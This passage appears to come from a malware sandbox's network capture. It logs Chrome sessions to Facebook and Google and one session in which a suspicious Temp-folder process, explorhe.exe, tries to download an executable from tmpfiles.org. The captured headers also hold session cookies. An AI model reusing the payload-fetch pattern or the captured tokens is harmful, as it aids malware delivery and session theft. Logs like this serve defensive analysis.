75 62 65 2e 63 6f 6d 25 32 46 73 69 67 6e 69 6e 25 33 46 61 63 Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49852	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:58 UTC	599	OUT	GET /rsrc.php/v3/yv/r/qvzskUrYlYC.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:58 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: ehFfaNLASsFrvqJLvnbLZQ== Expires: Tue, 07 Jan 2025 23:14:58 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), keyboard-map=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: IhrCJXLHIFNt16H9k0GhQRdmnRbt08CUSD5JiVaUJpYfol6Ntn/MXD0Yx5KsYZ0yd/CW9Uc5CUTTmBn/eK/OWg== Date: Wed, 17 Jan 2024 23:34:58 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 28985
2024-01-17 23:34:58 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:58 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 2f 2a 2a 0a 20 2a 20 4c 69 63 65 6e 73 65 3a 20 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 6c 65 67 61 6c 2f 6c 69 63 65 6e 73 65 2f 61 4a 6f 65 53 48 6e 37 58 63 4e 2f 0a 20 2a 2f 0a 5f 5f 64 28 22 62 6c 61 6b 65 6a 73 2d 31 2e 31 2e 30 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 62 3d 7b 7d 3b 76 61 72 20 67 3d 7b 65 78 70 6f 72 74 73 3a 62 7d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 29 7b 76 61 72 20 61 3d 22 49 6e 70 75 74 20 6d 75 73 74 20 62 65 20 61 6e 20 73 74 72 69 6e 67 2c 20 42 75 66 66 65 72 20 6f 72 20 55 69 6e 74 38 41 72 72 61 79 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 76 61 Data Ascii: /FB_PKG_DELIM//** * License: https://www.facebook.com/legal/license/aJoeSHn7XcN/ */__d("blakejs-1.1.0",[],(function(a,b,c,d,e,f){"use strict";b={};var g={exports:b};function h(){var a="Input must be an string, Buffer or Uint8Array";function b(b){va
2024-01-17 23:34:58 UTC	14972	IN	Data Raw: 61 5b 62 2b 33 5d 3c 3c 32 34 7d 66 75 6e 63 74 69 6f 6e 20 65 28 61 2c 64 2c 65 2c 66 2c 67 2c 68 29 7b 76 61 72 20 6a 3d 6c 5b 67 5d 3b 67 3d 6c 5b 67 2b 31 5d 3b 76 61 72 20 6b 3d 6c 5b 68 5d 3b 68 3d 6c 5b 68 2b 31 5d 3b 62 28 69 2c 61 2c 64 29 3b 63 28 69 2c 61 2c 6a 2c 67 29 3b 6a 3d 69 5b 66 5d 5e 69 5b 61 5d 3b 67 3d 69 5b 66 2b 31 5d 5e 69 5b 61 2b 31 5d 3b 69 5b 66 5d 3d 67 3b 69 5b 66 2b 31 5d 3d 6a 3b 62 28 69 2c 65 2c 66 29 3b 6a 3d 69 5b 64 5d 5e 69 5b 65 5d 3b 67 3d 69 5b 64 2b 31 5d 5e 69 5b 65 2b 31 5d 3b 69 5b 64 5d 3d 6a 3e 3e 3e 32 34 5e 67 3c 3c 38 3b 69 5b 64 2b 31 5d 3d 67 3e 3e 3e 32 34 5e 6a 3c 3c 38 3b 62 28 69 2c 61 2c 64 29 3b 63 28 69 2c 61 2c 6b 2c 68 29 3b 6a 3d 69 5b 66 5d 5e 69 5b 61 5d 3b 67 3d 69 5b 66 2b 31 5d 5e 69 5b Data Ascii: a[b+3]<<24}function e(a,d,e,f,g,h){var j=l[g];g=l[g+1];var k=l[h];h=l[h+1];b(i,a,d);c(i,a,j,g);j=i[f]^i[a];g=i[f+1]^i[a+1];i[f]=g;i[f+1]=j;b(i,e,f);j=i[d]^i[e];g=i[d+1]^i[e+1];i[d]=j>>>24^g<<8;i[d+1]=g>>>24^j<<8;b(i,a,d);c(i,a,k,h);j=i[f]^i[a];g=i[f+1]^i[
2024-01-17 23:34:58 UTC	12512	IN	Data Raw: 33 34 32 37 39 2c 34 30 32 34 39 37 31 35 30 39 2c 31 32 39 34 38 30 39 33 31 38 2c 34 30 32 38 39 38 30 36 37 33 2c 31 32 38 39 35 36 30 31 39 38 2c 32 32 32 31 39 39 32 37 34 32 2c 31 36 36 39 35 32 33 39 31 30 2c 33 35 35 37 32 38 33 30 2c 31 35 37 38 33 38 31 34 33 2c 31 30 35 32 34 33 38 34 37 33 2c 31 30 31 36 35 33 35 30 36 30 2c 31 38 30 32 31 33 37 37 36 31 2c 31 37 35 33 31 36 37 32 33 36 2c 31 33 38 36 32 37 35 34 36 32 2c 33 30 38 30 34 37 35 33 39 37 2c 32 38 35 37 33 37 31 34 34 37 2c 31 30 34 30 36 37 39 39 36 34 2c 32 31 34 35 33 30 30 30 36 30 2c 32 33 39 30 35 37 34 33 31 36 2c 31 34 36 31 31 32 31 37 32 30 2c 32 39 35 36 36 34 36 39 36 37 2c 34 30 33 31 37 37 37 38 30 35 2c 34 30 32 38 33 37 34 37 38 38 2c 33 33 36 30 30 35 31 31 2c 32 Data Ascii: 34279,4024971509,1294809318,4028980673,1289560198,2221992742,1669523910,35572830,157838143,1052438473,1016535060,1802137761,1753167236,1386275462,3080475397,2857371447,1040679964,2145300060,2390574316,1461121720,2956646967,4031777805,4028374788,33600511,2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49851	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:58 UTC	599	OUT	GET /rsrc.php/v3/yU/r/I33XAWfgyPZ.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:58 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 5+nHBmy9v2TEdgXgq0OCog== Expires: Thu, 16 Jan 2025 22:38:51 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: mlwvoo7lPhIo0aAB0rcJ1/p99W0c3qgoeOl7i72wC0I5JfLStGleAtjNhBrCbsSDzm5gFgWLLoCQ0JtHQ+iU8A== Date: Wed, 17 Jan 2024 23:34:58 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 32421
2024-01-17 23:34:58 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:58 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 4c 6f 67 69 6e 46 6f 72 6d 52 65 64 69 72 65 63 74 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 3d 2f 63 5f 75 73 65 72 3d 28 2e 2b 3f 29 28 3b 7c 24 29 2f 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 76 61 72 20 62 3d 77 69 6e 64 6f 77 2e 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 67 2e 74 65 73 74 28 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 29 26 26 28 77 69 6e 64 6f 77 2e 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 28 62 29 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 61 29 7d 2c 35 65 33 29 3b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 Data Ascii: /FB_PKG_DELIM/__d("LoginFormRedirect",[],(function(a,b,c,d,e,f){"use strict";var g=/c_user=(.+?)(;\|$)/;function a(a){var b=window.setInterval(function(){g.test(document.cookie)&&(window.clearInterval(b),window.location.href=a)},5e3);window.addEventLis
2024-01-17 23:34:58 UTC	14972	IN	Data Raw: 74 72 69 6e 67 22 7d 2c 73 65 65 6e 5f 73 63 6f 70 65 73 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 73 68 65 65 74 5f 6e 61 6d 65 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 73 69 6e 67 75 6c 61 72 5f 73 65 6c 65 63 74 65 64 5f 61 73 73 65 74 5f 69 64 3a 7b 74 79 70 65 3a 22 49 6e 74 22 7d 2c 73 74 61 74 65 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 75 73 65 72 5f 6d 6f 62 69 6c 65 5f 70 68 6f 6e 65 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 61 6e 64 72 6f 69 64 5f 6b 65 79 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 73 73 6f 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 73 73 6f 5f 6b 65 79 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 6e 6f 6e 63 65 3a 7b 74 79 70 65 3a 22 53 74 72 69 6e 67 22 7d 2c 75 73 Data Ascii: tring"},seen_scopes:{type:"String"},sheet_name:{type:"String"},singular_selected_asset_id:{type:"Int"},state:{type:"String"},user_mobile_phone:{type:"String"},android_key:{type:"String"},sso:{type:"String"},sso_key:{type:"String"},nonce:{type:"String"},us
2024-01-17 23:34:58 UTC	15948	IN	Data Raw: 35 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 64 29 7b 64 2e 6f 6e 4d 61 72 6b 65 72 53 74 61 72 74 57 69 74 68 4d 61 72 6b 65 72 28 61 2c 62 2c 63 2c 6e 29 7d 29 3b 6d 26 26 28 74 68 69 73 2e 61 64 64 4d 61 72 6b 65 72 28 28 68 7c 7c 28 68 3d 64 28 22 51 50 4c 45 76 65 6e 74 22 29 29 29 2e 67 65 74 4d 61 72 6b 65 72 49 64 28 61 29 2c 62 2c 6e 29 2c 65 21 3d 6e 75 6c 6c 26 26 74 68 69 73 2e 24 31 32 28 61 2c 62 2c 65 29 29 3b 6d 26 26 69 3d 3d 3d 21 30 26 26 74 68 69 73 2e 24 31 33 28 7b 6d 61 72 6b 65 72 5f 69 64 3a 32 37 37 38 37 32 37 31 2c 61 63 74 69 6f 6e 5f 69 64 3a 35 31 2c 73 61 6d 70 6c 65 5f 72 61 74 65 3a 31 2c 61 6e 6e 6f 74 61 74 69 6f 6e 73 5f 69 6e 74 3a 7b 74 72 61 63 6b 65 64 5f 6d 61 72 6b 65 72 5f 69 64 3a 28 68 7c 7c 28 68 Data Ascii: 5.forEach(function(d){d.onMarkerStartWithMarker(a,b,c,n)});m&&(this.addMarker((h\|\|(h=d("QPLEvent"))).getMarkerId(a),b,n),e!=null&&this.$12(a,b,e));m&&i===!0&&this.$13({marker_id:27787271,action_id:51,sample_rate:1,annotations_int:{tracked_marker_id:(h\|\|(h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49846	104.21.21.16	443	10012	C:\Users\user\AppData\Local\Temp\d887ceb89d\explorhe.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:58 UTC	71	OUT	GET /dl/3900221/setuppowergrepdemo.exe HTTP/1.1 Host: tmpfiles.org
2024-01-17 23:34:59 UTC	1331	IN	HTTP/1.1 404 Not Found Date: Wed, 17 Jan 2024 23:34:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: BYPASS Set-Cookie: XSRF-TOKEN=eyJpdiI6InlqV3dTUVluVE92VzRic0c1TVVsL2c9PSIsInZhbHVlIjoicGNDcXN5cGFiYU1VcE4zLzhIK0JEb2NER3FZNjFnQ3F4VElCbXN1K3prd0ZXeHVEdkxTNDcwaDVIekVsNVpIZXZoLytPVEo1NGxIM2VrWUMxa2p4UTRzbmtlNmFWK0tPUmZ0U0dsWTNKU3hkN2RzV0ZTRGZTbXdBWEk0TEV5SU0iLCJtYWMiOiJjY2M0YjRiMmVmYjFmNDY0OTAzZTI5OWE1NTIxYmEyYWI2ZWEwMWNiZDA2ZWViMzk5NzA2NjkyNDY5OTk5YmQzIn0%3D; expires=Thu, 18-Jan-2024 01:34:59 GMT; Max-Age=7200; path=/; samesite=lax Set-Cookie: tmpfiles_session=eyJpdiI6IkNJSTJNSzJVWUxxMUlIWjRWUC9pNlE9PSIsInZhbHVlIjoiK0gwdXNBNElRVG82T3cvaW5PMy91RjB6OFhXenVVMHl3NmNPSzRnbUIvS0NwdEVMaEtnUDgyTGFrVG5TcGpVQ3doWEFINnZGM0pVbFFxVFRpUEhUc0NoTzNSZk1PYjN0cTRtWm82My80NEJ1YUJpOXhTRGtoRzNUNkVSaTh0aSsiLCJtYWMiOiJkNDkyZDkyY2U5Njg2YWJkYTYwZTA1OGZjNDUzNWRkZjBjZjNjOTVhZDc3OWI4Y2M3NzIyMTEwOWFhZGZlYTZiIn0%3D; expires=Thu, 18-Jan-2024 01:34:59 GMT; Max-Age=7200; path=/; httponly; samesite=lax Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=5rMTQ3dFXvSjp3xkupdHYAO9MhXX1KA59PgAIb7zsFthxO8uSuCsR9ysZl4bTmiNzKRWYEZlupaMPfoZPIcarzT6PYWfH96vABzBdwbfo5pRVDHwgemludIS74LGWBU%3D"}],"group":"cf-nel","max_age":604800}
2024-01-17 23:34:59 UTC	149	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 34 37 32 36 39 37 39 31 63 32 35 34 33 61 34 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 847269791c2543a4-EWRalt-svc: h3=":443"; ma=86400
2024-01-17 23:34:59 UTC	1369	IN	Data Raw: 31 39 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 0a 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 46 6f 6e 74 73 20 2d 2d 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 Data Ascii: 19d0<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Not Found</title> ... Fonts --> <link rel="preconnect" href="ht
2024-01-17 23:34:59 UTC	1369	IN	Data Raw: 23 65 64 66 32 66 37 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 33 37 2c 32 34 32 2c 32 34 37 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 62 6f 72 64 65 72 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 3a 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 63 62 64 35 65 30 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 33 2c 32 31 33 2c 32 32 34 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 62 6f 72 64 65 72 2d 74 7b 62 6f 72 64 65 72 2d 74 6f 70 2d 77 69 64 74 68 3a 31 70 78 7d 2e 62 6f 72 64 65 72 2d 72 7b 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 77 69 64 74 68 3a 31 70 78 7d 2e 66 6c 65 78 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 2e Data Ascii: #edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.
2024-01-17 23:34:59 UTC	1369	IN	Data Raw: 72 61 79 2d 33 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 65 32 65 38 66 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 32 36 2c 32 33 32 2c 32 34 30 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 74 65 78 74 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 63 62 64 35 65 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 30 33 2c 32 31 33 2c 32 32 34 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 74 65 78 74 2d 67 72 61 79 2d 35 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 61 30 61 65 63 30 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 31 36 30 2c 31 37 34 2c 31 39 32 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 Data Ascii: ray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-op
2024-01-17 23:34:59 UTC	1369	IN	Data Raw: 7a 69 65 72 28 2e 38 2c 30 2c 31 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 38 2c 30 2c 31 2c 31 29 7d 35 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 2d 77 65 62 6b 69 74 2d 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 2c 31 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 30 2c 2e 32 2c 31 29 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 20 62 6f 75 6e 63 65 7b 30 25 2c 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 2d 32 35 25 29 3b 2d 77 65 62 Data Ascii: zier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes bounce{0%,to{transform:translateY(-25%);-web
2024-01-17 23:34:59 UTC	1140	IN	Data Raw: 28 2d 2d 62 67 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 62 6f 72 64 65 72 2d 67 72 61 79 2d 37 30 30 7b 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 3a 31 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 34 61 35 35 36 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 37 34 2c 38 35 2c 31 30 34 2c 76 61 72 28 2d 2d 62 6f 72 64 65 72 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 74 65 78 74 2d 77 68 69 74 65 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 3a 31 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 76 61 72 28 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 29 29 7d 2e 64 61 72 6b 5c 3a 74 65 78 74 2d 67 72 61 79 2d 34 30 30 7b 2d 2d 74 65 78 74 2d 6f 70 61 63 69 74 79 Data Ascii: (--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity
2024-01-17 23:34:59 UTC	6	IN	Data Raw: 31 0d 0a 0a 0d 0a Data Ascii: 1
2024-01-17 23:34:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49856	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:58 UTC	1882	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp1c0w5JaOfQYOlZuhQy86GoReFUxlHNL6-vwhawIMLsBG8McXpezbH0g-jF4-w_0KUlWLbG&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1259196525%3A1705534498192643&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:34:59 UTC	1770	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:34:59 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-G3s4wgR-vzIzvS5NLBiZSQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy-Report-Only: same-origin; 